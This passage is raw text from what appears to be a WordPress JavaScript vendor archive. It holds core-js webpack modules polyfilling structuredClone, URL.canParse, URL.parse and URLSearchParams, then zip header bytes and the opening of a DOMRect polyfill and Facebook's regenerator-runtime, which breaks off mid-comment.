var $ = __webpack_require__(2);
var globalThis = __webpack_require__(3);
var getBuiltIn = __webpack_require__(22);
var uncurryThis = __webpack_require__(13);
var fails = __webpack_require__(6);
var uid = __webpack_require__(39);
var isCallable = __webpack_require__(20);
var isConstructor = __webpack_require__(138);
var isNullOrUndefined = __webpack_require__(16);
var isObject = __webpack_require__(19);
var isSymbol = __webpack_require__(21);
var iterate = __webpack_require__(97);
var anObject = __webpack_require__(45);
var classof = __webpack_require__(103);
var hasOwn = __webpack_require__(37);
var createProperty = __webpack_require__(139);
var createNonEnumerableProperty = __webpack_require__(42);
var lengthOfArrayLike = __webpack_require__(62);
var validateArgumentsLength = __webpack_require__(140);
var getRegExpFlags = __webpack_require__(141);
var MapHelpers = __webpack_require__(106);
var SetHelpers = __webpack_require__(142);
var setIterate = __webpack_require__(143);
var detachTransferable = __webpack_require__(90);
var ERROR_STACK_INSTALLABLE = __webpack_require__(145);
var PROPER_STRUCTURED_CLONE_TRANSFER = __webpack_require__(94);

var Object = globalThis.Object;
var Array = globalThis.Array;
var Date = globalThis.Date;
var Error = globalThis.Error;
var TypeError = globalThis.TypeError;
var PerformanceMark = globalThis.PerformanceMark;
var DOMException = getBuiltIn('DOMException');
var Map = MapHelpers.Map;
var mapHas = MapHelpers.has;
var mapGet = MapHelpers.get;
var mapSet = MapHelpers.set;
var Set = SetHelpers.Set;
var setAdd = SetHelpers.add;
var setHas = SetHelpers.has;
var objectKeys = getBuiltIn('Object', 'keys');
var push = uncurryThis([].push);
var thisBooleanValue = uncurryThis(true.valueOf);
var thisNumberValue = uncurryThis(1.0.valueOf);
var thisStringValue = uncurryThis(''.valueOf);
var thisTimeValue = uncurryThis(Date.prototype.getTime);
var PERFORMANCE_MARK = uid('structuredClone');
var DATA_CLONE_ERROR = 'DataCloneError';
var TRANSFERRING = 'Transferring';

var checkBasicSemantic = function (structuredCloneImplementation) {
  return !fails(function () {
    var set1 = new globalThis.Set([7]);
    var set2 = structuredCloneImplementation(set1);
    var number = structuredCloneImplementation(Object(7));
    return set2 === set1 || !set2.has(7) || !isObject(number) || +number !== 7;
  }) && structuredCloneImplementation;
};

var checkErrorsCloning = function (structuredCloneImplementation, $Error) {
  return !fails(function () {
    var error = new $Error();
    var test = structuredCloneImplementation({ a: error, b: error });
    return !(test && test.a === test.b && test.a instanceof $Error && test.a.stack === error.stack);
  });
};

// https://github.com/whatwg/html/pull/5749
var checkNewErrorsCloningSemantic = function (structuredCloneImplementation) {
  return !fails(function () {
    var test = structuredCloneImplementation(new globalThis.AggregateError([1], PERFORMANCE_MARK, { cause: 3 }));
    return test.name !== 'AggregateError' || test.errors[0] !== 1 || test.message !== PERFORMANCE_MARK || test.cause !== 3;
  });
};

// FF94+, Safari 15.4+, Chrome 98+, NodeJS 17.0+, Deno 1.13+
// FF<103 and Safari implementations can't clone errors
// https://bugzilla.mozilla.org/show_bug.cgi?id=1556604
// FF103 can clone errors, but `.stack` of clone is an empty string
// https://bugzilla.mozilla.org/show_bug.cgi?id=1778762
// FF104+ fixed it on usual errors, but not on DOMExceptions
// https://bugzilla.mozilla.org/show_bug.cgi?id=1777321
// Chrome <102 returns `null` if cloned object contains multiple references to one error
// https://bugs.chromium.org/p/v8/issues/detail?id=12542
// NodeJS implementation can't clone DOMExceptions
// https://github.com/nodejs/node/issues/41038
// only FF103+ supports new (html/5749) error cloning semantic
var nativeStructuredClone = globalThis.structuredClone;

var FORCED_REPLACEMENT = IS_PURE
  || !checkErrorsCloning(nativeStructuredClone, Error)
  || !checkErrorsCloning(nativeStructuredClone, DOMException)
  || !checkNewErrorsCloningSemantic(nativeStructuredClone);

// Chrome 82+, Safari 14.1+, Deno 1.11+
// Chrome 78-81 implementation swaps `.name` and `.message` of cloned `DOMException`
// Chrome returns `null` if cloned object contains multiple references to one error
// Safari 14.1 implementation doesn't clone some `RegExp` flags, so requires a workaround
// Safari implementation can't clone errors
// Deno 1.2-1.10 implementations too naive
// NodeJS 16.0+ does not have `PerformanceMark` constructor
// NodeJS <17.2 structured cloning implementation from `performance.mark` is too naive
// and can't clone, for example, `RegExp` or some boxed primitives
// https://github.com/nodejs/node/issues/40840
// no one of those implementations supports new (html/5749) error cloning semantic
var structuredCloneFromMark = !nativeStructuredClone && checkBasicSemantic(function (value) {
  return new PerformanceMark(PERFORMANCE_MARK, { detail: value }).detail;
});

var nativeRestrictedStructuredClone = checkBasicSemantic(nativeStructuredClone) || structuredCloneFromMark;

var throwUncloneable = function (type) {
  throw new DOMException('Uncloneable type: ' + type, DATA_CLONE_ERROR);
};

var throwUnpolyfillable = function (type, action) {
  throw new DOMException((action || 'Cloning') + ' of ' + type + ' cannot be properly polyfilled in this engine', DATA_CLONE_ERROR);
};

var tryNativeRestrictedStructuredClone = function (value, type) {
  if (!nativeRestrictedStructuredClone) throwUnpolyfillable(type);
  return nativeRestrictedStructuredClone(value);
};

var createDataTransfer = function () {
  var dataTransfer;
  try {
    dataTransfer = new globalThis.DataTransfer();
  } catch (error) {
    try {
      dataTransfer = new globalThis.ClipboardEvent('').clipboardData;
    } catch (error2) { /* empty */ }
  }
  return dataTransfer && dataTransfer.items && dataTransfer.files ? dataTransfer : null;
};

var cloneBuffer = function (value, map, $type) {
  if (mapHas(map, value)) return mapGet(map, value);

  var type = $type || classof(value);
  var clone, length, options, source, target, i;

  if (type === 'SharedArrayBuffer') {
    if (nativeRestrictedStructuredClone) clone = nativeRestrictedStructuredClone(value);
    // SharedArrayBuffer should use shared memory, we can't polyfill it, so return the original
    else clone = value;
  } else {
    var DataView = globalThis.DataView;

    // `ArrayBuffer#slice` is not available in IE10
    // `ArrayBuffer#slice` and `DataView` are not available in old FF
    if (!DataView && !isCallable(value.slice)) throwUnpolyfillable('ArrayBuffer');
    // detached buffers throws in `DataView` and `.slice`
    try {
      if (isCallable(value.slice) && !value.resizable) {
        clone = value.slice(0);
      } else {
        length = value.byteLength;
        options = 'maxByteLength' in value ? { maxByteLength: value.maxByteLength } : undefined;
        // eslint-disable-next-line es/no-resizable-and-growable-arraybuffers -- safe
        clone = new ArrayBuffer(length, options);
        source = new DataView(value);
        target = new DataView(clone);
        for (i = 0; i < length; i++) {
          target.setUint8(i, source.getUint8(i));
        }
      }
    } catch (error) {
      throw new DOMException('ArrayBuffer is detached', DATA_CLONE_ERROR);
    }
  }

  mapSet(map, value, clone);

  return clone;
};

var cloneView = function (value, type, offset, length, map) {
  var C = globalThis[type];
  // in some old engines like Safari 9, typeof C is 'object'
  // on Uint8ClampedArray or some other constructors
  if (!isObject(C)) throwUnpolyfillable(type);
  return new C(cloneBuffer(value.buffer, map), offset, length);
};

var structuredCloneInternal = function (value, map) {
  if (isSymbol(value)) throwUncloneable('Symbol');
  if (!isObject(value)) return value;
  // effectively preserves circular references
  if (map) {
    if (mapHas(map, value)) return mapGet(map, value);
  } else map = new Map();

  var type = classof(value);
  var C, name, cloned, dataTransfer, i, length, keys, key;

  switch (type) {
    case 'Array':
      cloned = Array(lengthOfArrayLike(value));
      break;
    case 'Object':
      cloned = {};
      break;
    case 'Map':
      cloned = new Map();
      break;
    case 'Set':
      cloned = new Set();
      break;
    case 'RegExp':
      // in this block because of a Safari 14.1 bug
      // old FF does not clone regexes passed to the constructor, so get the source and flags directly
      cloned = new RegExp(value.source, getRegExpFlags(value));
      break;
    case 'Error':
      name = value.name;
      switch (name) {
        case 'AggregateError':
          cloned = new (getBuiltIn(name))([]);
          break;
        case 'EvalError':
        case 'RangeError':
        case 'ReferenceError':
        case 'SuppressedError':
        case 'SyntaxError':
        case 'TypeError':
        case 'URIError':
          cloned = new (getBuiltIn(name))();
          break;
        case 'CompileError':
        case 'LinkError':
        case 'RuntimeError':
          cloned = new (getBuiltIn('WebAssembly', name))();
          break;
        default:
          cloned = new Error();
      }
      break;
    case 'DOMException':
      cloned = new DOMException(value.message, value.name);
      break;
    case 'ArrayBuffer':
    case 'SharedArrayBuffer':
      cloned = cloneBuffer(value, map, type);
      break;
    case 'DataView':
    case 'Int8Array':
    case 'Uint8Array':
    case 'Uint8ClampedArray':
    case 'Int16Array':
    case 'Uint16Array':
    case 'Int32Array':
    case 'Uint32Array':
    case 'Float16Array':
    case 'Float32Array':
    case 'Float64Array':
    case 'BigInt64Array':
    case 'BigUint64Array':
      length = type === 'DataView' ? value.byteLength : value.length;
      cloned = cloneView(value, type, value.byteOffset, length, map);
      break;
    case 'DOMQuad':
      try {
        cloned = new DOMQuad(
          structuredCloneInternal(value.p1, map),
          structuredCloneInternal(value.p2, map),
          structuredCloneInternal(value.p3, map),
          structuredCloneInternal(value.p4, map)
        );
      } catch (error) {
        cloned = tryNativeRestrictedStructuredClone(value, type);
      }
      break;
    case 'File':
      if (nativeRestrictedStructuredClone) try {
        cloned = nativeRestrictedStructuredClone(value);
        // NodeJS 20.0.0 bug, https://github.com/nodejs/node/issues/47612
        if (classof(cloned) !== type) cloned = undefined;
      } catch (error) { /* empty */ }
      if (!cloned) try {
        cloned = new File([value], value.name, value);
      } catch (error) { /* empty */ }
      if (!cloned) throwUnpolyfillable(type);
      break;
    case 'FileList':
      dataTransfer = createDataTransfer();
      if (dataTransfer) {
        for (i = 0, length = lengthOfArrayLike(value); i < length; i++) {
          dataTransfer.items.add(structuredCloneInternal(value[i], map));
        }
        cloned = dataTransfer.files;
      } else cloned = tryNativeRestrictedStructuredClone(value, type);
      break;
    case 'ImageData':
      // Safari 9 ImageData is a constructor, but typeof ImageData is 'object'
      try {
        cloned = new ImageData(
          structuredCloneInternal(value.data, map),
          value.width,
          value.height,
          { colorSpace: value.colorSpace }
        );
      } catch (error) {
        cloned = tryNativeRestrictedStructuredClone(value, type);
      } break;
    default:
      if (nativeRestrictedStructuredClone) {
        cloned = nativeRestrictedStructuredClone(value);
      } else switch (type) {
        case 'BigInt':
          // can be a 3rd party polyfill
          cloned = Object(value.valueOf());
          break;
        case 'Boolean':
          cloned = Object(thisBooleanValue(value));
          break;
        case 'Number':
          cloned = Object(thisNumberValue(value));
          break;
        case 'String':
          cloned = Object(thisStringValue(value));
          break;
        case 'Date':
          cloned = new Date(thisTimeValue(value));
          break;
        case 'Blob':
          try {
            cloned = value.slice(0, value.size, value.type);
          } catch (error) {
            throwUnpolyfillable(type);
          } break;
        case 'DOMPoint':
        case 'DOMPointReadOnly':
          C = globalThis[type];
          try {
            cloned = C.fromPoint
              ? C.fromPoint(value)
              : new C(value.x, value.y, value.z, value.w);
          } catch (error) {
            throwUnpolyfillable(type);
          } break;
        case 'DOMRect':
        case 'DOMRectReadOnly':
          C = globalThis[type];
          try {
            cloned = C.fromRect
              ? C.fromRect(value)
              : new C(value.x, value.y, value.width, value.height);
          } catch (error) {
            throwUnpolyfillable(type);
          } break;
        case 'DOMMatrix':
        case 'DOMMatrixReadOnly':
          C = globalThis[type];
          try {
            cloned = C.fromMatrix
              ? C.fromMatrix(value)
              : new C(value);
          } catch (error) {
            throwUnpolyfillable(type);
          } break;
        case 'AudioData':
        case 'VideoFrame':
          if (!isCallable(value.clone)) throwUnpolyfillable(type);
          try {
            cloned = value.clone();
          } catch (error) {
            throwUncloneable(type);
          } break;
        case 'CropTarget':
        case 'CryptoKey':
        case 'FileSystemDirectoryHandle':
        case 'FileSystemFileHandle':
        case 'FileSystemHandle':
        case 'GPUCompilationInfo':
        case 'GPUCompilationMessage':
        case 'ImageBitmap':
        case 'RTCCertificate':
        case 'WebAssembly.Module':
          throwUnpolyfillable(type);
          // break omitted
        default:
          throwUncloneable(type);
      }
  }

  mapSet(map, value, cloned);

  switch (type) {
    case 'Array':
    case 'Object':
      keys = objectKeys(value);
      for (i = 0, length = lengthOfArrayLike(keys); i < length; i++) {
        key = keys[i];
        createProperty(cloned, key, structuredCloneInternal(value[key], map));
      } break;
    case 'Map':
      value.forEach(function (v, k) {
        mapSet(cloned, structuredCloneInternal(k, map), structuredCloneInternal(v, map));
      });
      break;
    case 'Set':
      value.forEach(function (v) {
        setAdd(cloned, structuredCloneInternal(v, map));
      });
      break;
    case 'Error':
      createNonEnumerableProperty(cloned, 'message', structuredCloneInternal(value.message, map));
      if (hasOwn(value, 'cause')) {
        createNonEnumerableProperty(cloned, 'cause', structuredCloneInternal(value.cause, map));
      }
      if (name === 'AggregateError') {
        cloned.errors = structuredCloneInternal(value.errors, map);
      } else if (name === 'SuppressedError') {
        cloned.error = structuredCloneInternal(value.error, map);
        cloned.suppressed = structuredCloneInternal(value.suppressed, map);
      } // break omitted
    case 'DOMException':
      if (ERROR_STACK_INSTALLABLE) {
        createNonEnumerableProperty(cloned, 'stack', structuredCloneInternal(value.stack, map));
      }
  }

  return cloned;
};

var tryToTransfer = function (rawTransfer, map) {
  if (!isObject(rawTransfer)) throw new TypeError('Transfer option cannot be converted to a sequence');

  var transfer = [];

  iterate(rawTransfer, function (value) {
    push(transfer, anObject(value));
  });

  var i = 0;
  var length = lengthOfArrayLike(transfer);
  var buffers = new Set();
  var value, type, C, transferred, canvas, context;

  while (i < length) {
    value = transfer[i++];

    type = classof(value);

    if (type === 'ArrayBuffer' ? setHas(buffers, value) : mapHas(map, value)) {
      throw new DOMException('Duplicate transferable', DATA_CLONE_ERROR);
    }

    if (type === 'ArrayBuffer') {
      setAdd(buffers, value);
      continue;
    }

    if (PROPER_STRUCTURED_CLONE_TRANSFER) {
      transferred = nativeStructuredClone(value, { transfer: [value] });
    } else switch (type) {
      case 'ImageBitmap':
        C = globalThis.OffscreenCanvas;
        if (!isConstructor(C)) throwUnpolyfillable(type, TRANSFERRING);
        try {
          canvas = new C(value.width, value.height);
          context = canvas.getContext('bitmaprenderer');
          context.transferFromImageBitmap(value);
          transferred = canvas.transferToImageBitmap();
        } catch (error) { /* empty */ }
        break;
      case 'AudioData':
      case 'VideoFrame':
        if (!isCallable(value.clone) || !isCallable(value.close)) throwUnpolyfillable(type, TRANSFERRING);
        try {
          transferred = value.clone();
          value.close();
        } catch (error) { /* empty */ }
        break;
      case 'MediaSourceHandle':
      case 'MessagePort':
      case 'MIDIAccess':
      case 'OffscreenCanvas':
      case 'ReadableStream':
      case 'RTCDataChannel':
      case 'TransformStream':
      case 'WebTransportReceiveStream':
      case 'WebTransportSendStream':
      case 'WritableStream':
        throwUnpolyfillable(type, TRANSFERRING);
    }

    if (transferred === undefined) throw new DOMException('This object cannot be transferred: ' + type, DATA_CLONE_ERROR);

    mapSet(map, value, transferred);
  }

  return buffers;
};

var detachBuffers = function (buffers) {
  setIterate(buffers, function (buffer) {
    if (PROPER_STRUCTURED_CLONE_TRANSFER) {
      nativeRestrictedStructuredClone(buffer, { transfer: [buffer] });
    } else if (isCallable(buffer.transfer)) {
      buffer.transfer();
    } else if (detachTransferable) {
      detachTransferable(buffer);
    } else {
      throwUnpolyfillable('ArrayBuffer', TRANSFERRING);
    }
  });
};

// `structuredClone` method
// https://html.spec.whatwg.org/multipage/structured-data.html#dom-structuredclone
$({ global: true, enumerable: true, sham: !PROPER_STRUCTURED_CLONE_TRANSFER, forced: FORCED_REPLACEMENT }, {
  structuredClone: function structuredClone(value /* , { transfer } */) {
    var options = validateArgumentsLength(arguments.length, 1) > 1 && !isNullOrUndefined(arguments[1]) ? anObject(arguments[1]) : undefined;
    var transfer = options ? options.transfer : undefined;
    var map, buffers;

    if (transfer !== undefined) {
      map = new Map();
      buffers = tryToTransfer(transfer, map);
    }

    var clone = structuredCloneInternal(value, map);

    // since of an issue with cloning views of transferred buffers, we a forced to detach them later
    // https://github.com/zloirock/core-js/issues/1265
    if (buffers) detachBuffers(buffers);

    return clone;
  }
});


/***/ }),
/* 138 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var uncurryThis = __webpack_require__(13);
var fails = __webpack_require__(6);
var isCallable = __webpack_require__(20);
var classof = __webpack_require__(103);
var getBuiltIn = __webpack_require__(22);
var inspectSource = __webpack_require__(49);

var noop = function () { /* empty */ };
var construct = getBuiltIn('Reflect', 'construct');
var constructorRegExp = /^\s*(?:class|function)\b/;
var exec = uncurryThis(constructorRegExp.exec);
var INCORRECT_TO_STRING = !constructorRegExp.test(noop);

var isConstructorModern = function isConstructor(argument) {
  if (!isCallable(argument)) return false;
  try {
    construct(noop, [], argument);
    return true;
  } catch (error) {
    return false;
  }
};

var isConstructorLegacy = function isConstructor(argument) {
  if (!isCallable(argument)) return false;
  switch (classof(argument)) {
    case 'AsyncFunction':
    case 'GeneratorFunction':
    case 'AsyncGeneratorFunction': return false;
  }
  try {
    // we can't check .prototype since constructors produced by .bind haven't it
    // `Function#toString` throws on some built-it function in some legacy engines
    // (for example, `DOMQuad` and similar in FF41-)
    return INCORRECT_TO_STRING || !!exec(constructorRegExp, inspectSource(argument));
  } catch (error) {
    return true;
  }
};

isConstructorLegacy.sham = true;

// `IsConstructor` abstract operation
// https://tc39.es/ecma262/#sec-isconstructor
module.exports = !construct || fails(function () {
  var called;
  return isConstructorModern(isConstructorModern.call)
    || !isConstructorModern(Object)
    || !isConstructorModern(function () { called = true; })
    || called;
}) ? isConstructorLegacy : isConstructorModern;


/***/ }),
/* 139 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var DESCRIPTORS = __webpack_require__(5);
var definePropertyModule = __webpack_require__(43);
var createPropertyDescriptor = __webpack_require__(10);

module.exports = function (object, key, value) {
  if (DESCRIPTORS) definePropertyModule.f(object, key, createPropertyDescriptor(0, value));
  else object[key] = value;
};


/***/ }),
/* 140 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var $TypeError = TypeError;

module.exports = function (passed, required) {
  if (passed < required) throw new $TypeError('Not enough arguments');
  return passed;
};


/***/ }),
/* 141 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var call = __webpack_require__(7);
var hasOwn = __webpack_require__(37);
var isPrototypeOf = __webpack_require__(23);
var regExpFlags = __webpack_require__(115);

var RegExpPrototype = RegExp.prototype;

module.exports = function (R) {
  var flags = R.flags;
  return flags === undefined && !('flags' in RegExpPrototype) && !hasOwn(R, 'flags') && isPrototypeOf(RegExpPrototype, R)
    ? call(regExpFlags, R) : flags;
};


/***/ }),
/* 142 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var uncurryThis = __webpack_require__(13);

// eslint-disable-next-line es/no-set -- safe
var SetPrototype = Set.prototype;

module.exports = {
  // eslint-disable-next-line es/no-set -- safe
  Set: Set,
  add: uncurryThis(SetPrototype.add),
  has: uncurryThis(SetPrototype.has),
  remove: uncurryThis(SetPrototype['delete']),
  proto: SetPrototype
};


/***/ }),
/* 143 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var uncurryThis = __webpack_require__(13);
var iterateSimple = __webpack_require__(144);
var SetHelpers = __webpack_require__(142);

var Set = SetHelpers.Set;
var SetPrototype = SetHelpers.proto;
var forEach = uncurryThis(SetPrototype.forEach);
var keys = uncurryThis(SetPrototype.keys);
var next = keys(new Set()).next;

module.exports = function (set, fn, interruptible) {
  return interruptible ? iterateSimple({ iterator: keys(set), next: next }, fn) : forEach(set, fn);
};


/***/ }),
/* 144 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var call = __webpack_require__(7);

module.exports = function (record, fn, ITERATOR_INSTEAD_OF_RECORD) {
  var iterator = ITERATOR_INSTEAD_OF_RECORD ? record : record.iterator;
  var next = record.next;
  var step, result;
  while (!(step = call(next, iterator)).done) {
    result = fn(step.value);
    if (result !== undefined) return result;
  }
};


/***/ }),
/* 145 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var fails = __webpack_require__(6);
var createPropertyDescriptor = __webpack_require__(10);

module.exports = !fails(function () {
  var error = new Error('a');
  if (!('stack' in error)) return true;
  // eslint-disable-next-line es/no-object-defineproperty -- safe
  Object.defineProperty(error, 'stack', createPropertyDescriptor(1, 7));
  return error.stack !== 7;
});


/***/ }),
/* 146 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var $ = __webpack_require__(2);
var getBuiltIn = __webpack_require__(22);
var fails = __webpack_require__(6);
var validateArgumentsLength = __webpack_require__(140);
var toString = __webpack_require__(117);
var USE_NATIVE_URL = __webpack_require__(147);

var URL = getBuiltIn('URL');

// https://github.com/nodejs/node/issues/47505
// https://github.com/denoland/deno/issues/18893
var THROWS_WITHOUT_ARGUMENTS = USE_NATIVE_URL && fails(function () {
  URL.canParse();
});

// Bun ~ 1.0.30 bug
// https://github.com/oven-sh/bun/issues/9250
var WRONG_ARITY = fails(function () {
  return URL.canParse.length !== 1;
});

// `URL.canParse` method
// https://url.spec.whatwg.org/#dom-url-canparse
$({ target: 'URL', stat: true, forced: !THROWS_WITHOUT_ARGUMENTS || WRONG_ARITY }, {
  canParse: function canParse(url) {
    var length = validateArgumentsLength(arguments.length, 1);
    var urlString = toString(url);
    var base = length < 2 || arguments[1] === undefined ? undefined : toString(arguments[1]);
    try {
      return !!new URL(urlString, base);
    } catch (error) {
      return false;
    }
  }
});


/***/ }),
/* 147 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var fails = __webpack_require__(6);
var wellKnownSymbol = __webpack_require__(32);
var DESCRIPTORS = __webpack_require__(5);
var IS_PURE = __webpack_require__(35);

var ITERATOR = wellKnownSymbol('iterator');

module.exports = !fails(function () {
  // eslint-disable-next-line unicorn/relative-url-style -- required for testing
  var url = new URL('b?a=1&b=2&c=3', 'https://a');
  var params = url.searchParams;
  var params2 = new URLSearchParams('a=1&a=2&b=3');
  var result = '';
  url.pathname = 'c%20d';
  params.forEach(function (value, key) {
    params['delete']('b');
    result += key + value;
  });
  params2['delete']('a', 2);
  // `undefined` case is a Chromium 117 bug
  // https://bugs.chromium.org/p/v8/issues/detail?id=14222
  params2['delete']('b', undefined);
  return (IS_PURE && (!url.toJSON || !params2.has('a', 1) || params2.has('a', 2) || !params2.has('a', undefined) || params2.has('b')))
    || (!params.size && (IS_PURE || !DESCRIPTORS))
    || !params.sort
    || url.href !== 'https://a/c%20d?a=1&c=3'
    || params.get('c') !== '3'
    || String(new URLSearchParams('?a=1')) !== 'a=1'
    || !params[ITERATOR]
    // throws in Edge
    || new URL('https://a@b').username !== 'a'
    || new URLSearchParams(new URLSearchParams('a=b')).get('a') !== 'b'
    // not punycoded in Edge
    || new URL('https://тест').host !== 'xn--e1aybc'
    // not escaped in Chrome 62-
    || new URL('https://a#б').hash !== '#%D0%B1'
    // fails in Chrome 66-
    || result !== 'a1c3'
    // throws in Safari
    || new URL('https://x', undefined).host !== 'x';
});


/***/ }),
/* 148 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var $ = __webpack_require__(2);
var getBuiltIn = __webpack_require__(22);
var validateArgumentsLength = __webpack_require__(140);
var toString = __webpack_require__(117);
var USE_NATIVE_URL = __webpack_require__(147);

var URL = getBuiltIn('URL');

// `URL.parse` method
// https://url.spec.whatwg.org/#dom-url-canparse
$({ target: 'URL', stat: true, forced: !USE_NATIVE_URL }, {
  parse: function parse(url) {
    var length = validateArgumentsLength(arguments.length, 1);
    var urlString = toString(url);
    var base = length < 2 || arguments[1] === undefined ? undefined : toString(arguments[1]);
    try {
      return new URL(urlString, base);
    } catch (error) {
      return null;
    }
  }
});


/***/ }),
/* 149 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var defineBuiltIn = __webpack_require__(46);
var uncurryThis = __webpack_require__(13);
var toString = __webpack_require__(117);
var validateArgumentsLength = __webpack_require__(140);

var $URLSearchParams = URLSearchParams;
var URLSearchParamsPrototype = $URLSearchParams.prototype;
var append = uncurryThis(URLSearchParamsPrototype.append);
var $delete = uncurryThis(URLSearchParamsPrototype['delete']);
var forEach = uncurryThis(URLSearchParamsPrototype.forEach);
var push = uncurryThis([].push);
var params = new $URLSearchParams('a=1&a=2&b=3');

params['delete']('a', 1);
// `undefined` case is a Chromium 117 bug
// https://bugs.chromium.org/p/v8/issues/detail?id=14222
params['delete']('b', undefined);

if (params + '' !== 'a=2') {
  defineBuiltIn(URLSearchParamsPrototype, 'delete', function (name /* , value */) {
    var length = arguments.length;
    var $value = length < 2 ? undefined : arguments[1];
    if (length && $value === undefined) return $delete(this, name);
    var entries = [];
    forEach(this, function (v, k) { // also validates `this`
      push(entries, { key: k, value: v });
    });
    validateArgumentsLength(length, 1);
    var key = toString(name);
    var value = toString($value);
    var index = 0;
    var dindex = 0;
    var found = false;
    var entriesLength = entries.length;
    var entry;
    while (index < entriesLength) {
      entry = entries[index++];
      if (found || entry.key === key) {
        found = true;
        $delete(this, entry.key);
      } else dindex++;
    }
    while (dindex < entriesLength) {
      entry = entries[dindex++];
      if (!(entry.key === key && entry.value === value)) append(this, entry.key, entry.value);
    }
  }, { enumerable: true, unsafe: true });
}


/***/ }),
/* 150 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var defineBuiltIn = __webpack_require__(46);
var uncurryThis = __webpack_require__(13);
var toString = __webpack_require__(117);
var validateArgumentsLength = __webpack_require__(140);

var $URLSearchParams = URLSearchParams;
var URLSearchParamsPrototype = $URLSearchParams.prototype;
var getAll = uncurryThis(URLSearchParamsPrototype.getAll);
var $has = uncurryThis(URLSearchParamsPrototype.has);
var params = new $URLSearchParams('a=1');

// `undefined` case is a Chromium 117 bug
// https://bugs.chromium.org/p/v8/issues/detail?id=14222
if (params.has('a', 2) || !params.has('a', undefined)) {
  defineBuiltIn(URLSearchParamsPrototype, 'has', function has(name /* , value */) {
    var length = arguments.length;
    var $value = length < 2 ? undefined : arguments[1];
    if (length && $value === undefined) return $has(this, name);
    var values = getAll(this, name); // also validates `this`
    validateArgumentsLength(length, 1);
    var value = toString($value);
    var index = 0;
    while (index < values.length) {
      if (values[index++] === value) return true;
    } return false;
  }, { enumerable: true, unsafe: true });
}


/***/ }),
/* 151 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";

var DESCRIPTORS = __webpack_require__(5);
var uncurryThis = __webpack_require__(13);
var defineBuiltInAccessor = __webpack_require__(81);

var URLSearchParamsPrototype = URLSearchParams.prototype;
var forEach = uncurryThis(URLSearchParamsPrototype.forEach);

// `URLSearchParams.prototype.size` getter
// https://github.com/whatwg/url/pull/734
if (DESCRIPTORS && !('size' in URLSearchParamsPrototype)) {
  defineBuiltInAccessor(URLSearchParamsPrototype, 'size', {
    get: function size() {
      var count = 0;
      forEach(this, function () { count++; });
      return count;
    },
    configurable: true,
    enumerable: true
  });
}


/***/ })
/******/ ]); }();
PKGfd[8�9j��wp-polyfill-dom-rect.jsnu�[���
// DOMRect
(function (global) {
	function number(v) {
		return v === undefined ? 0 : Number(v);
	}

	function different(u, v) {
		return u !== v && !(isNaN(u) && isNaN(v));
	}

	function DOMRect(xArg, yArg, wArg, hArg) {
		var x, y, width, height, left, right, top, bottom;

		x = number(xArg);
		y = number(yArg);
		width = number(wArg);
		height = number(hArg);

		Object.defineProperties(this, {
			x: {
				get: function () { return x; },
				set: function (newX) {
					if (different(x, newX)) {
						x = newX;
						left = right = undefined;
					}
				},
				enumerable: true
			},
			y: {
				get: function () { return y; },
				set: function (newY) {
					if (different(y, newY)) {
						y = newY;
						top = bottom = undefined;
					}
				},
				enumerable: true
			},
			width: {
				get: function () { return width; },
				set: function (newWidth) {
					if (different(width, newWidth)) {
						width = newWidth;
						left = right = undefined;
					}
				},
				enumerable: true
			},
			height: {
				get: function () { return height; },
				set: function (newHeight) {
					if (different(height, newHeight)) {
						height = newHeight;
						top = bottom = undefined;
					}
				},
				enumerable: true
			},
			left: {
				get: function () {
					if (left === undefined) {
						left = x + Math.min(0, width);
					}
					return left;
				},
				enumerable: true
			},
			right: {
				get: function () {
					if (right === undefined) {
						right = x + Math.max(0, width);
					}
					return right;
				},
				enumerable: true
			},
			top: {
				get: function () {
					if (top === undefined) {
						top = y + Math.min(0, height);
					}
					return top;
				},
				enumerable: true
			},
			bottom: {
				get: function () {
					if (bottom === undefined) {
						bottom = y + Math.max(0, height);
					}
					return bottom;
				},
				enumerable: true
			}
		});
	}

	global.DOMRect = DOMRect;
}(self));
PKGfd[Q�0h�b�bregenerator-runtime.jsnu�[���/**
 * Copyright (c) 2014-present, Facebook, Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */

var runtime = (function (exports) {
  "use strict";

  var Op = Object.prototype;
  var hasOwn = Op.hasOwnProperty;
  var defineProperty = Object.defineProperty || function (obj, key, desc) { obj[key] = desc.value; };
  var undefined; // More compressible than void 0.
  var $Symbol = typeof Symbol === "function" ? Symbol : {};
  var iteratorSymbol = $Symbol.iterator || "@@iterator";
  var asyncIteratorSymbol = $Symbol.asyncIterator || "@@asyncIterator";
  var toStringTagSymbol = $Symbol.toStringTag || "@@toStringTag";

  function define(obj, key, value) {
    Object.defineProperty(obj, key, {
      value: value,
      enumerable: true,
      configurable: true,
      writable: true
    });
    return obj[key];
  }
  try {
    // IE 8 has a broken Object.defineProperty that only works on DOM objects.
    define({}, "");
  } catch (err) {
    define = function(obj, key, value) {
      return obj[key] = value;
    };
  }

  function wrap(innerFn, outerFn, self, tryLocsList) {
    // If outerFn provided and outerFn.prototype is a Generator, then outerFn.prototype instanceof Generator.
    var protoGenerator = outerFn && outerFn.prototype instanceof Generator ? outerFn : Generator;
    var generator = Object.create(protoGenerator.prototype);
    var context = new Context(tryLocsList || []);

    // The ._invoke method unifies the implementations of the .next,
    // .throw, and .return methods.
    defineProperty(generator, "_invoke", { value: makeInvokeMethod(innerFn, self, context) });

    return generator;
  }
  exports.wrap = wrap;

  // Try/catch helper to minimize deoptimizations. Returns a completion
  // record like context.tryEntries[i].completion. This interface could
  // have been (and was previously) designed to take a closure to be
  // invoked without arguments, but in all the cases we care about we
  // already have an existing method we want to call, so there's no need
  // to create a new function object. We can even get away with assuming
  // the method takes exactly one argument, since that happens to be true
  // in every case, so we don't have to touch the arguments object. The
  // only additional allocation required is the completion record, which
